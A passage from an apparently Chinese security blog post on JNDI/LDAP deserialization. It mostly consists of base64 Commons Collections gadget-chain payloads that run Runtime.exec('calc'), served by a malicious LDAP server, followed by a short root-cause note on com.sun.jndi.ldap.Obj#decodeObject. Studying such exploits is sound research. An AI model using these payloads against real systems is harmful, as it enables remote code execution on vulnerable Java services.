MAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB+ABV4c3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXEAfgABTAADbWFwdAAPTGphdmEvdXRpbC9NYXA7eHB0AAFhc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAEc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AAXhwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXEAfgAFWwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJ0AApnZXRSdW50aW1lcHQACWdldE1ldGhvZHVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAnZyABBqYXZhLmxhbmcuU3RyaW5noPCkOHo7s0ICAAB4cHZxAH4ALnNxAH4AJnVxAH4AKgAAAAJwcHQABmludm9rZXVxAH4ALgAAAAJ2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHB2cQB+ACpzcQB+ACZ1cQB+ACoAAAABdAAEY2FsY3QABGV4ZWN1cQB+AC4AAAABcQB+ADFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4"
                    "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADYWJjc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAEc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXB0AAlnZXRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABxzcQB+ABN1cQB+ABgAAAACcHB0AAZpbnZva2V1cQB+ABwAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXEAfgAYAAAAAXQABGNhbGN0AARleGVjdXEAfgAcAAAAAXEAfgAfc3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHh0AANlZWV4"
            ));
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

这里需要注意的是CC链的版本问题,有的链子在高版本JDK下可能打不通,这里我选择了CC5和CC6进行测试,成功执行。

源码分析

问题出在com.sun.jndi.ldap.Obj#decodeObject处,这里会对我们传入的javaSerializeData属性值进行反序列化。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇